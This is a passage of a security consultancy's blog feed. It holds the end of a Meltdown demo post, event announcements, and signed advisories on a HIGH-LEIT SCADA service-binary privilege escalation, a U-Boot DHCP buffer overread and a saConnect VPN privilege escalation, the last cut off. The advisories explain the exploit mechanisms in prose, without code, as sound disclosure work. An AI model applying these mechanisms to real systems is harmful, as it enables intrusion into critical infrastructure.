&lt;/span>
were created by the research paper&amp;rsquo;s authors that revealed Meltdown, including a tool to dump the full memory of a vulnerable machine.&lt;/p>
&lt;h2 id="we-cheated---why-this-isnt-possible-in-the-wild-anymore">We Cheated - Why this isn&amp;rsquo;t possible in the Wild (anymore)&lt;/h2>
&lt;h3 id="kernel-page-table-isolation">Kernel Page Table Isolation&lt;/h3>
&lt;p>Even before Meltdown was publicized, the scientists who discovered it proposed a mitigation known as KAISER.
KAISER was later renamed to KPTI and implemented in the Linux kernel once Meltdown became known.
All other operating systems implemented similar mitigations.
Kernel Page Table Isolation prevents user processes from seeing kernel memory.
It was previously assumed that it was safe to map all kernel memory for each user process, because permission checks were used to prevent access.
This was exploited by Meltdown, which led to the introduction of &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://en.wikipedia.org/wiki/Kernel_page-table_isolation"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">KPTI&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
.
This prevents Meltdown attacks on all modern operating systems.
For the purposes of this demonstration, KPTI was disabled in the VM by starting the Linux kernel with the &lt;code>-nopti&lt;/code> flag.&lt;/p>
&lt;h3 id="preload-kernel-memory-in-l1-cache">Preload Kernel Memory in L1 Cache&lt;/h3>
&lt;p>The standard Meltdown only works if the victim address is already in the L1 cache.
To make exploit development easier, we have a Kernel Module that lets a user load an arbitrary address into the L1 cache accomplishes.&lt;/p>
&lt;p>To exploit it without this kernel module, an attacker has to find a way to load victim
addresses into the L1 cache.
This may be achieved in multiple ways:
For example, if the attacker&amp;rsquo;s goal is to read the password hash in a victim process, e.g., &lt;code>sudo,&lt;/code> the attacker can attempt the Meltdown exploit multiple times until they hit the exact moment during which the password hash is loaded into the L1 cache.
Another approach would be to leverage other microarchitectural attacks like Spectre
to force a victim address into the L1 cache.&lt;/p>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>This demo of Meltdown is an excellent starting point into the world of CPU vulnerabilities and exploits. If you found this interesting, I recommend you check out our Blogpost on &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/cachewarp/"
class="link-background inline no-spaces"
>
&lt;span class="link-label">CacheWarp&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
. Additionally, if you want to learn about other microarchitectural vulnerabilities, check out &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://en.wikipedia.org/wiki/Transient_execution_CPU_vulnerability"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Wikipedia&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
.&lt;/p></description></item><item><title>Planning and Implementing IT Security Assessments</title><link>https://www.schutzwerk.com/en/blog/udis-seminar-cybersecurity-assessments-2024/</link><author>SCHUTZWERK GmbH</author><pubDate>Wed, 20 Nov 2024 13:00:00 +0100</pubDate><category>event</category><category>news</category><description>
&lt;p>Organized by &lt;strong>SCHUTZWERK&lt;/strong> and &lt;strong>udis - Ulmer Akademie für Datenschutz und IT-Sicherheit&lt;/strong>, this seminar offers the perfect opportunity to take your IT security strategy to the next level.&lt;/p>
&lt;h2 id="what-is-it-about">What is it about?&lt;/h2>
&lt;p>This practice-oriented seminar shows how companies can improve their IT security through targeted assessments such as penetration tests, vulnerability analyses, or phishing simulations. &lt;strong>Christoph Wolfert&lt;/strong>, Managing Consultant at &lt;strong>SCHUTZWERK&lt;/strong>, teaches the basics of planning and implementing such tests in a compact seminar day. With a maximum of 18 participants, a personal and intensive learning atmosphere is ensured.&lt;/p>
&lt;h2 id="who-is-the-target-group">Who is the target group?&lt;/h2>
&lt;p>The seminar is aimed at IT security officers, IT managers, managing directors, and other IT decision-makers. Basic knowledge of IT and information security is an advantage, but not a prerequisite.&lt;/p>
&lt;p>Thanks to EU funding, participants from &lt;strong>Baden-Württemberg&lt;/strong> can take part in the seminar at particularly low cost.&lt;/p>
&lt;h2 id="further-information-and-registration">Further Information and Registration&lt;/h2>
&lt;p>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.udis.de/seminare/prufung-der-it-sicherheit-im-unternehmen.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Prüfung&lt;/span>
&lt;/a>&lt;a
href="https://www.udis.de/seminare/prufung-der-it-sicherheit-im-unternehmen.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">der&lt;/span>
&lt;/a>&lt;a
href="https://www.udis.de/seminare/prufung-der-it-sicherheit-im-unternehmen.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">IT-Sicherheit&lt;/span>
&lt;/a>&lt;a
href="https://www.udis.de/seminare/prufung-der-it-sicherheit-im-unternehmen.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">im&lt;/span>
&lt;/a>&lt;a
href="https://www.udis.de/seminare/prufung-der-it-sicherheit-im-unternehmen.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Unternehmen&lt;/span>
&lt;/a>&lt;a
href="https://www.udis.de/seminare/prufung-der-it-sicherheit-im-unternehmen.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">–&lt;/span>
&lt;/a>&lt;a
href="https://www.udis.de/seminare/prufung-der-it-sicherheit-im-unternehmen.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">udis&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/p>
&lt;p>Register now, we look forward to seeing you!&lt;/p></description></item><item><title>SCHUTZWERK IS SPONSOR OF THE GERMAN OWASP DAY 2024</title><link>https://www.schutzwerk.com/en/blog/owasp-day-2024-schutzwerk-sponsor/</link><author>SCHUTZWERK GmbH</author><pubDate>Wed, 30 Oct 2024 13:00:00 +0100</pubDate><category>news</category><category>event</category><category>sponsor</category><description>
&lt;p>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://god.owasp.de/2024/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">German&lt;/span>
&lt;/a>&lt;a
href="https://god.owasp.de/2024/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">OWASP&lt;/span>
&lt;/a>&lt;a
href="https://god.owasp.de/2024/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Day&lt;/span>
&lt;/a>&lt;a
href="https://god.owasp.de/2024/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">2024&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
is just around the corner! On the 12th and 13th of November 2024, the conference organized by the German branch of OWASP will take place in Leipzig. As in the previous year, SCHUTZWERK is an official sponsor of the conference. We are happy to do our part and support OWASP and its conference.&lt;/p>
&lt;p>At the conference will be both technical and non-technical presentations on application security. If you want to network and exchange ideas with security experts from all over the world this is the place to be. SCHUTZWERK is happy to once again be a sponsor of the GERMAN OWASP DAY 2024, and we hope to meet some of you there!&lt;/p></description></item><item><title>THE ELBSIDES 2024 CONFERENCE IS ALMOST HERE</title><link>https://www.schutzwerk.com/en/blog/announcement-elbsides-konferenz-2024/</link><author>SCHUTZWERK GmbH</author><pubDate>Tue, 10 Sep 2024 13:00:00 +0100</pubDate><category>event</category><category>sponsor</category><category>news</category><description>
&lt;p>We’re Heading to the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.elbsides.eu/2024/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Elbsides&lt;/span>
&lt;/a>&lt;a
href="https://www.elbsides.eu/2024/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">2024&lt;/span>
&lt;/a>&lt;a
href="https://www.elbsides.eu/2024/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Conference&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
!&lt;/p>
&lt;p>SCHUTZWERK has been awaiting the Elbsides conference for a while, and now it&amp;rsquo;s just around the corner. However, we are not only participating, but, as we have previously announced, we are also sponsoring Elbsides, as a Bronze Sponsor. Elbsides relies on sponsors to keep the lights on and we&amp;rsquo;re glad to lend a hand, as Elbsides is truly a conference worth supporting. The Empire Riverside Hotel in Hamburg on the 13th of September will be an exciting meeting of the minds with an interesting lineup of speakers, as well as the coming together of cybersecurity enthusiasts and experts alike. We look forward to meeting you all!&lt;/p>
&lt;p>In addition, we would like to announce a special surprise that awaits those who will visit Elbsides! SCHUTZWERK Employees will be manning a booth featuring a hands-on Lockpicking Challenge! Most of the attendees will probably be more familiar with cybersecurity, but this challenge will test your finesse in regard to physical security. Whether you’re a seasoned pro or a first-timer, come by and test your skills with our selection of locks. It’s a fun, interactive way to learn more about physical security – and a great icebreaker for the opportunity to discuss cybersecurity and network later on!&lt;/p>
&lt;p>We are looking forward to seeing everyone at Elbsides 2024!&lt;/p></description></item><item><title>Advisory: Privilege Escalation via Service Binary Hijacking in Vivavis HIGH-LEIT (CVE-2024-38456)</title><link>https://www.schutzwerk.com/en/blog/schutzwerk-sa-2024-001/</link><author>Lukas Krieg</author><pubDate>Mon, 02 Sep 2024 12:00:00 +0200</pubDate><category>advisories</category><description>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-fallback" data-lang="fallback">-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
Title
=====
SCHUTZWERK-SA-2024-001: Privilege Escalation via Service Binary Hijacking in Vivavis HIGH-LEIT
Status
======
PUBLISHED
Version
=======
1.0
CVE reference
=============
CVE-2024-38456
Link
====
https://www.schutzwerk.com/advisories/schutzwerk-sa-2024-001/
Text-only version:
https://www.schutzwerk.com/advisories/SCHUTZWERK-SA-2024-001.txt
Affected products/vendor
========================
HIGH-LEIT by VIVAVIS AG[0]. Version 4 and 5 are different product lines, both are affected:
HIGH-LEIT 4 Version 4.25.00.00 to 4.25.01.01 (patch available)
HIGH-LEIT 5 Version = 5.08.01.03 (no patch available, planned for 31.10.2024)
Summary
=======
HIGH-LEIT is a scalable SCADA network control system designed for infrastructure applications in the energy, water supply, wastewater, and environmental sectors, as well as associated utilities and industrial applications. HIGH-LEIT is used for operational networks in critical infrastructure.
The Windows services &amp;#34;HL-InstallService-hlnt&amp;#34; for HIGH-LEIT Version 4 and &amp;#34;HL-InstallService-hlxw&amp;#34; for Version 5 allow for an authenticated attackers in the Active Directory group &amp;#34;HL-TS-Gruppe&amp;#34; to escalate their privileges to local system.
Risk
====
The vulnerability allows attackers to execute arbitrary code as local system on systems where the &amp;#34;HL-InstallService-hlxw&amp;#34; or &amp;#34;HL-InstallService-hlnt&amp;#34; Windows service is running. Authentication is necessary for successful exploitation. The execution of the exploit is trivial and might affect other systems if the applications folder is shared between multiple systems in which case the vulnerability can be used for lateral movement.
Description
===========
During a penetration test, SCHUTZWERK tested a terminal server part of an internal OT Network. The software HIGH-LEIT 5 was found to be installed on this terminal server.
HIGH-LEIT 5 has a windows service named &amp;#34;HL-InstallService-hlxw&amp;#34;, that runs as local system with start mode &amp;#34;autostart&amp;#34;. By default, for affected versions, the executable &amp;#34;D:\hlxw\update\bin\prunsrv.exe&amp;#34; is modifiable by the Active Directory group &amp;#34;HL-TS-Gruppe&amp;#34;. The granted modify permission on &amp;#34;D:\hlxw\update\bin\prunsrv.exe&amp;#34; is inherited from the modify permission on the folder &amp;#34;D:\hlxw&amp;#34;. The Active Directory group &amp;#34;HL-TS-Gruppe&amp;#34; is needed for every user interacting with the HIGH-LEIT software. This means this exploit is available from any HIGH-LEIT user with low privileges (e.g. auditors with read-only permissions). The user can modify the executable &amp;#34;prunsrv.exe&amp;#34; and wait for or force a system reboot. Afterwards the modified &amp;#34;prunsrv.exe&amp;#34; is executed as local system on the server.
Solution/Mitigation
===================
For HIGH-LEIT Version 4:
- - Update to version 4.25.01.02 or newer, or
- - apply the vendors workaround via GPO to mitigate the vulnerability, or
- - manually remove the modify permission of the Active Directory group &amp;#34;HL-TS-Gruppe&amp;#34; on the folder &amp;#34;D:\hlnt&amp;#34;.
For HIGH-LEIT Version 5:
- - Update to version 5.8.01.04 (release planned for 31.10.24), or
- - apply the vendors workaround via GPO to mitigate the vulnerability, or
- - manually remove the modify permission of the Active Directory group &amp;#34;HL-TS-Gruppe&amp;#34; on the folder &amp;#34;D:\hlxw&amp;#34;.
Disclosure timeline
===================
2024-05-14: Vulnerability discovered
2024-05-14: Vulnerability reported and presented to affected customer
2024-05-16: Vulnerability presented to vendor
2024-05-16: Vulnerability details reported to vendor
2024-05-17: Vendor started working on patch
2024-05-22: Vendor started deploying workaround to customers
2024-06-05: Green light from customer for Advisory
2024-06-13: Patch for HIGH-LEIT 4 finished
2024-06-13: Meeting with vendor to plan disclosure/patch release
2024-06-14: CVE-2024-38456 reserved
2024-08-16: Vendor finished deployment of patch/workaround for all affected customers
2024-08-16: Meeting with vendor to plan disclosure
2024-08-23: Meeting with vendor to plan disclosure
2024-09-02: Disclosure by SCHUTZWERK
2024-09-02: Disclosure by vendor at https://www.vivavis.com/service/it-security-bulletin/
Contact/Credits
===============
The vulnerability was discovered during an assessment by Lukas Krieg (lkrieg@schutzwerk.com) of SCHUTZWERK GmbH.
References
==========
[0] https://www.vivavis.com/loesung/leittechnik/high-leit/
[1] https://www.vivavis.com/service/it-security-bulletin/
Disclaimer
==========
The information provided in this security advisory is provided &amp;#34;as is&amp;#34; and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The most recent version of this security advisory can be found at SCHUTZWERK GmbH&amp;#39;s website ( https://www.schutzwerk.com ).
SCHUTZWERK Advisories: https://www.schutzwerk.com/blog/tags/advisories/
SCHUTZWERK Advisory Policy: https://www.schutzwerk.com/en/advisories/
-----BEGIN PGP SIGNATURE-----
iQJOBAEBCgA4FiEEgLsg7Oj/wY3LSF87GrXfkTIXLrsFAmbVfC0aHGFkdmlzb3Jp
ZXNAc2NodXR6d2Vyay5jb20ACgkQGrXfkTIXLrvLwhAAmq8ALbZdWarhHZGgPAMJ
5mU/24qCCY5M3roi4zBv9GFzSbJVF4TdgpceOkyrCYHtTZWGEYdc8ewd6DLarweH
Kcj+KyCA6JIbb94E2CVrDAXgpjJWsvG1CSvHax+erG/FppEk/ud9t+DJhCSVbkMT
KeqTz1G02tpKnHVgd2ogVF9ydJVdEcV4QJD/tkUfQukWomIGNRt+JNoxcCv362H1
fk3uVghrXxWeo3P0oDvWg4S2+3IEZPPtW1PCqfo9SFO2Ll7xF/2015Hl1Sn0TOAA
y4JJqDNOwIN5hIP6JvIs+W6uLLU3IGFUEWg1CiplOY3CC1kfEorQtvsDamNq9QWF
2r6CaWNN2FYpHkiEygYJsnn8Z3vzqqQQnaym2mwlsxe0ggutADCg2FbkybqTUF+D
fUGoQjaq7eojUTGS7fgNlOUua2euImjv9NMpzg00yMb6os6P+HetT+fv2G67TLKS
ptqQ73H+On4h2DP/DPkF1q7hBBZtT1I2Xx6er65AtSKjwOsLBOWSR1BNW+QJ/D56
pPhYHR+lVakHO/TMzILys5dPSXY3TU1iX0XpgvddIqONgViMR54a5MV/Vv1lL9xb
qEcGtqtX84cg74vQuwUbl69pP+69Y+ACDoBdaemRex1tjR6seFBI27XRsn+E8a+a
kQGdwKyB2qT0UNuLyFhcVi4=
=3K1g
-----END PGP SIGNATURE-----
&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>ASQF Safety &amp; Security Day 2024: In-depth insights into cybersecurity from SCHUTZWERK experts</title><link>https://www.schutzwerk.com/en/blog/asqf-event-2024/</link><author>SCHUTZWERK GmbH</author><pubDate>Tue, 27 Aug 2024 12:00:00 +0100</pubDate><category>news</category><category>event</category><description>
&lt;p>We are pleased to be participating in the &lt;strong>ASQF Safety &amp;amp; Security Day 2024&lt;/strong> on September 17 in Wiesbaden! This event offers a unique opportunity to experience the latest trends in hardware and software development in the field of IT security. We are proud that two of our SCHUTZWERK experts, &lt;strong>Dr. Bastian Könings&lt;/strong> and &lt;strong>Heiko Ehret&lt;/strong>, will provide in-depth insights into two highly topical cybersecurity issues during the event.&lt;/p>
&lt;h2 id="a-brief-overview-of-the-two-schutzwerk-presentations">&lt;strong>A brief overview of the two SCHUTZWERK presentations&lt;/strong>&lt;/h2>
&lt;p>&lt;strong>Dr. Bastian Könings: Trends in Cybersecurity from Silicon to Cloud&amp;quot;&lt;/strong>&lt;/p>
&lt;p>&lt;strong>Dr. Bastian Könings&lt;/strong> from SCHUTZWERK addresses the challenges of digitalization, focusing on security across embedded systems, IoT, and cloud infrastructures. He discusses hardware vulnerabilities, strategies for traditional IT environments, and the growing security demands in cloud computing. The keynote offers practical recommendations for adapting security measures to meet regulatory requirements and optimize business operations.&lt;/p>
&lt;p>&lt;strong>Heiko Ehret: &amp;ldquo;Breaking in trhough the wall: side-channel attacks anf fault injection&amp;rdquo;&lt;/strong>&lt;/p>
&lt;p>&lt;strong>Heiko Ehret&lt;/strong>, Senior Consultant at SCHUTZWERK, delves into the risks of side-channel attacks and fault injections, which target system vulnerabilities. He explains how attackers can extract sensitive information and exploit system faults to bypass protections. Ehret emphasizes the importance of awareness and proactive measures to defend against these specialized threats.&lt;/p>
&lt;h2 id="the-schutzwerk-presentations-in-detail">&lt;strong>The SCHUTZWERK presentations in detail&lt;/strong>&lt;/h2>
&lt;h3 id="keynote-by-dr-bastian-könings-trends-in-cybersecurity-from-silicon-to-cloud">&lt;strong>Keynote by Dr. Bastian Könings: “Trends in Cybersecurity from Silicon to Cloud”&lt;/strong>&lt;/h3>
&lt;p>In his keynote speech, &lt;strong>Dr. Bastian Könings&lt;/strong>, Managing Consultant at SCHUTZWERK, will explain the comprehensive challenges posed by increasing digitalization and the associated cyber threats. His presentation will cover a broad spectrum, ranging from security in embedded systems and IoT devices to complex cloud infrastructures.&lt;/p>
&lt;h3 id="main-subjects-of-dr-könings-presentation">&lt;strong>Main subjects of Dr. Köning&amp;rsquo;s presentation:&lt;/strong>&lt;/h3>
&lt;p>&lt;strong>Hardware security in IoT and embedded systems:&lt;/strong> Dr. Könings outlines how security requirements at the hardware level are changing due to the increasing networking of devices. He highlights the risks arising from vulnerabilities in the hardware and shows what measures can be taken to minimize them.&lt;/p>
&lt;p>&lt;strong>Cybersecurity in traditional IT infrastructures:&lt;/strong> Another focus will be on traditional IT environments, which continue to form the backbone of many companies. Dr. Könings will present practical strategies to protect these systems against modern threats.&lt;/p>
&lt;p>&lt;strong>Security in the cloud:&lt;/strong> As more and more data and services are moved to the cloud, the requirements for their security are also increasing. Dr. Könings explains the new challenges that arise and how companies can optimize their cloud strategies through targeted security assessments.&lt;/p>
&lt;p>&lt;strong>Regulatory requirements:&lt;/strong> Adapting to new regulations and legal requirements is a constant for businesses. Dr. Könings will demonstrate how companies need to continuously adapt their security strategies in order to both meet regulatory requirements and make their operations efficient.&lt;/p>
&lt;p>The keynote aims to provide the audience with concrete and practical recommendations on how they can effectively improve their security measures. Dr. Könings focuses in particular on how tailored security assessments should be designed depending on company size, core business and maturity level of IT security processes.&lt;/p>
&lt;h3 id="presentation-by-heiko-ehret-breaking-in-through-the-wall-side-channel-attacks-and-fault-injection">&lt;strong>Presentation by Heiko Ehret: “Breaking in through the wall: side-channel attacks and fault injection”&lt;/strong>&lt;/h3>
&lt;p>In his presentation, &lt;strong>Heiko Ehret&lt;/strong>, Senior Consultant at SCHUTZWERK and expert for embedded systems, sheds light on one of the most invisible and at the same time most dangerous threats in cybersecurity: side-channel attacks and fault injections. These attack methods exploit physical and logical vulnerabilities in systems to extract confidential information or bypass protective measures.&lt;/p>
&lt;h3 id="main-subjects-of-mr-ehrets-presentation">&lt;strong>Main subjects of Mr. Ehret&amp;rsquo;s presentation:&lt;/strong>&lt;/h3>
&lt;p>&lt;strong>Passive side-channel attacks:&lt;/strong> Heiko details how attackers extract secret information such as crypto keys by analyzing side-channels, such as power consumption or electromagnetic emissions. He gives practical examples that illustrate how such attacks work and what countermeasures companies could take.&lt;/p>
&lt;p>&lt;strong>Active bug injections:&lt;/strong> In addition, Heiko presents the method of fault injection, in which attackers deliberately cause faults in systems through targeted disruptions in the power supply or by other means. These errors can be used, for example, to reactivate development interfaces such as JTAG and thus gain deeper access to the system.&lt;/p>
&lt;p>&lt;strong>Prevention and protective measures:&lt;/strong> Heiko explains not only the technical aspects of these attacks, but also looks at how companies can protect themselves against them. He places particular emphasis on raising awareness of these complex threats, because only those who are aware of the dangers can defend themselves effectively against them.&lt;/p>
&lt;p>In his presentation, Heiko Ehret shows how important it is for developers and security experts to understand and recognize these invisible attack vectors. Only through targeted measures and sound preparation can companies protect their systems against such highly specialized attacks and secure their digital future.&lt;/p>
&lt;h2 id="register-now-and-take-part-in-asqf-safety-and-security-day-2024">&lt;strong>Register now and take part in ASQF Safety and Security Day 2024!&lt;/strong>&lt;/h2>
&lt;p>The Safety &amp;amp; Security Day 2024 is the perfect opportunity to find out about the latest developments in IT and cybersecurity. Our SCHUTZWERK experts provide you with in-depth insights into current threats and practical solutions. Take the opportunity to exchange ideas with industry colleagues and make valuable contacts. Secure your place today and be there when Wiesbaden becomes the center for cybersecurity.
Register now via this &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.asqf.de/eventkalender/asqf-safety-security-day/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Link&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/p>
&lt;p>We look forward to meeting you at the Safety &amp;amp; Security Day 2024!&lt;/p></description></item><item><title>Advisory: Buffer overread in U-Boot DHCP (CVE-2024-42040)</title><link>https://www.schutzwerk.com/en/blog/schutzwerk-sa-2024-004/</link><author>Simon Diepold</author><pubDate>Mon, 19 Aug 2024 10:00:00 +0200</pubDate><category>advisories</category><description>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-fallback" data-lang="fallback">-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
Title
=====
SCHUTZWERK-SA-2024-004: Buffer overread in U-Boot DHCP
Status
======
PUBLISHED
Version
=======
1.0
CVE reference
=============
CVE-2024-42040
Link
====
https://www.schutzwerk.com/advisories/schutzwerk-sa-2024-004/
Text-only version:
https://www.schutzwerk.com/advisories/SCHUTZWERK-SA-2024-004.txt
Affected products/vendor
========================
Das U-Boot, https://docs.u-boot.org
Summary
=======
Das U-Boot (U-Boot) is a widespread open-source boot loader used in embedded devices to perform various low-level hardware initialization tasks and boot the device&amp;#39;s operating system kernel. During an embedded security assessment, we identified a buffer overread vulnerability (CWE-126) in the DHCP implementation of U-Boot that could leak memory onto the network. The amount of leaked data depends on the later use of the hostname, DNS-server IP, gateway IP, or other DHCP options in unencrypted network traffic. The vulnerability has been present since the &amp;#34;Initial revision&amp;#34; commit (3861aa5) from 2002.
Risk
====
An attacker with access to the local network and faster response times than the default DHCP server can trigger a memory leak by responding with malicious DHCP offers to a vulnerable U-Boot DHCP client. In the current implementation, only 4 Bytes of data can be leaked via gateway or DNS server address. When net_hostname would be used and also sent over the network, 32 Bytes could be retrieved. When the bp_vend field is filled with zeroes besides the magic number, it could also lead the loop to continue outside the packet to process data. This can cause further data to be leaked when values like 0x1,0x3,0x6, and 0x12 are present in that data. When further vulnerabilities can be found they might be combined to achieve further harmful impact to the system.
Description
===========
After U-Boot sends an initial DHCP request, the vulnerable bootp_handler gets registered as a callback for incoming packets. The handler first checks if the received packet is the expected reply packet. If VENDOR_MAGIC is in the first four bytes of bp-&amp;gt;bp_vend, the address of bp-&amp;gt;bp_vend[4] and the total length of the packet is passed to bootp_process_vendor (net/bootp.c:381) without being reduced to len-(offsetof(struct bootp_hdr,bp_vend)+4). There is also a missing check whether the first four bytes of bp-&amp;gt;pb_vend[] are in range of the packet length before retrieving them to compare with htonl(VENDOR_MAGIC).
In bootp_process_vendor, an incorrect end address is then calculated based on the full packet length (net/bootp.c:312) instead of the rest of the bp_vend buffer size. Then, the function increases the ext pointer until it no longer points to zero bytes within the too-long buffer range or when one byte is 0xff. When a none-zero value is discovered the ext pointer is passed to bootp_process_vendor_field.
In bootp_process_vendor_field, the de-referenced value of the passed pointer is used to select the case for processing the field, and its length is de-referenced from ext+1. Based on the selected case, values are then copied to variables and buffers like net_gateway.s_addr or net_hostname from ext+2. The copied lengths are only limited by the size of their destination. The end of the bp_vend structure or the end of the packet is never checked in bootp_process_vendor_field.
This allows an attacker, who can respond to DHCP requests, to craft a packet that causes the code to copy the contents of the target&amp;#39;s RAM directly following the received packet into parameters. These parameters are sent via the network during later use, leaking the RAM content to the attacker.
Solution/Mitigation
===================
We recommend providing an adequate length to bootp_process_vendor to prevent the while loop from stepping outside the packet frame and checking in bootp_process_vendor_field if the copied data is still within the packet structure&amp;#39;s range.
Disclosure timeline
===================
2024-06-21: Vulnerability discovered
2024-08-19: Vulnerability reported to public mailing list by request of maintainer.
Contact/Credits
===============
The vulnerability was discovered during an assessment by Simon Diepold of SCHUTZWERK GmbH.
References
==========
Disclaimer
==========
The information provided in this security advisory is provided &amp;#34;as is&amp;#34; and
without warranty of any kind. Details of this security advisory may be updated
in order to provide as accurate information as possible. The most recent
version of this security advisory can be found at SCHUTZWERK GmbH&amp;#39;s website
( https://www.schutzwerk.com ).
SCHUTZWERK Advisories: https://www.schutzwerk.com/blog/tags/advisories/
SCHUTZWERK Advisory Policy: https://www.schutzwerk.com/en/advisories/
-----BEGIN PGP SIGNATURE-----
iQJOBAEBCgA4FiEEgLsg7Oj/wY3LSF87GrXfkTIXLrsFAmbC+YgaHGFkdmlzb3Jp
ZXNAc2NodXR6d2Vyay5jb20ACgkQGrXfkTIXLrtSeRAAi6OrwHBpbFgKlyqROQnw
zYxmHTYBiWzBEEmI1zN+iNb5uQlnZXgBoodbEneiRmVQDSiT4zT/DWe3EGV2TlRR
56hEIGvkvleURqCjwRYeYnPF3Ef/XMTvTu/x08h8UfGr7XNwhwCpANxUTE7aI01b
jZLa4jDv8vpNd7JKNF32S2Ak6GRjfEE9aEAxUKliNXCA5SU1gYvOWQ+BJ0oth7fN
grkTKffltk8dUBFy8TsrxcAG5ye4f1Dvm51dU8JNPBLkmouOrEvX1K4UTjvAyD8e
bCn2dXs2rDLfywrTPV0k2zj3APZiwhYxNA3MaTUGscZAIUMn3WE/cUyYDpQDqOYx
wrZzz9K59m+x8F6c1lBUxlmU3t9Z15/i/tL6Kropb+HDxjWaLCZPG3dzdlR54/fn
gvzS393FNWakNNAJIqN2jvvol+zvJGn2rsSsfp5CPEdrQEHgvQa0TkBOpdtFZ/h1
muVFwj9yDup07yStTXRJHjg2WCH0LdL5x+mDfcBspjLflpVP/0Yj+MnR8e3Eb7v/
Cb12PeBHww9VObUhgbMecanSn6Epf7Nc5a5wIh5kEWKoviBYNY/0cu7GDN+70PK4
JhD86Tww5RFJJfkLcJqlCAMC4AkAc7Sq5FS7WTK5Jx3Ymh/+Lsuhx9ENq38VyVGh
tFe3V0joTUxg7Yy78PoEOrs=
=XKZo
-----END PGP SIGNATURE-----
&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Advisory: Local privilege escalation in saConnect/saConnectService by Secadm GmbH - now enthus</title><link>https://www.schutzwerk.com/en/blog/schutzwerk-sa-2023-002/</link><author>Marvin Louis, Moritz Öhrlein</author><pubDate>Mon, 01 Jul 2024 14:00:00 +0200</pubDate><category>advisories</category><description>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-fallback" data-lang="fallback">-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
Title
=====
SCHUTZWERK-SA-2023-002: Local privilege escalation in saConnect/saConnectService by Secadm GmbH - now enthus
Status
======
PUBLISHED
Version
=======
1.0
CVE reference
=============
Not applicable since affected software is not publicly available.
Link
====
https://www.schutzwerk.com/advisories/schutzwerk-sa-2023-002/
Text-only version:
https://www.schutzwerk.com/advisories/SCHUTZWERK-SA-2023-002.txt
Affected products/vendor
========================
Custom OpenVPN client, saConnect/saConnectService by Secadm GmbH - now enthus
Summary
=======
A local privilege escalation in the saConnectService, an OpenVPN-based VPN client, from Secadm GmbH was discovered.
OpenVPN configuration parameters can be set by a low privileged user via a .NET Remoting IPC[0] call served by the saConnectService.
This allows to execute arbitrary commands with the privilege level of the saConnectService through the route-up script of the OpenVPN connection.
Risk
====
An attacker that has access to an account which is fully configured to use the VPN connection through the saConnect application is able to exploit this vulnerability.
It allows an attacker to escalate the privileges to the privilege level of the saConnectService.
Depending on how the saConnectService is configured this may lead to the highest privilege level on the local system (NT Authority\System). In the scenario where this vulnerability was discovered, it was possible to fully compromise the host system.
An attacker with basic knowledge in C# and understanding of OpenVPN configurations may find this vulnerability with medium to high effort. To find the vulnerabilities, an attacker might need to reverse engineer the C# executables of saConnect and saConnectService using tools like dnSpy[1] or JetBrains dotPeek[2].
To be able to exploit the vulnerability, an attacker needs to understand how the OpenVPN configuration files, namely endpoints.conf and ProxyVPN.conf, are used. In the standard configuration, neither the file endpoints.conf nor the main OpenVPN configuration file (ProxyVPN.conf) is visible/accessible to a low privileged user.
Description
===========
